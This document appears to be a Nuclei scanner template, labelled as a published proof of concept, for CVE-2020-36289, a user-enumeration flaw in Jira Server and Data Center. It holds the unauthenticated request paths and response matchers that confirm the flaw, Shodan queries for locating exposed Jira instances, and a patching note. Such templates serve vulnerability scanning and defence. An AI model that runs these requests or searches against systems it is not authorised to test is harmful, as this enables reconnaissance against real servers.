Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
PoC代码[已公开]
id: CVE-2020-36289
info:
name: Jira Server and Data Center - Information Disclosure
author: dhiyaneshDk
severity: medium
description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
impact: |
An attacker can gain access to sensitive information, potentially leading to further attacks.
remediation: |
Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
reference:
- https://twitter.com/ptswarm/status/1402644004781633540
- https://jira.atlassian.com/browse/JRASERVER-71559
- https://nvd.nist.gov/vuln/detail/CVE-2020-36289
- https://github.com/ARPSyndicate/cvemon
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-36289
cwe-id: CWE-863
epss-score: 0.87442
epss-percentile: 0.99424
cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: atlassian
product: data_center
shodan-query:
- http.component:"Atlassian Jira"
- http.component:"atlassian jira"
tags: cve,cve2020,jira,atlassian,unauth
http:
- method: GET
path:
- '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
- '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'rel=\"admin\"'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
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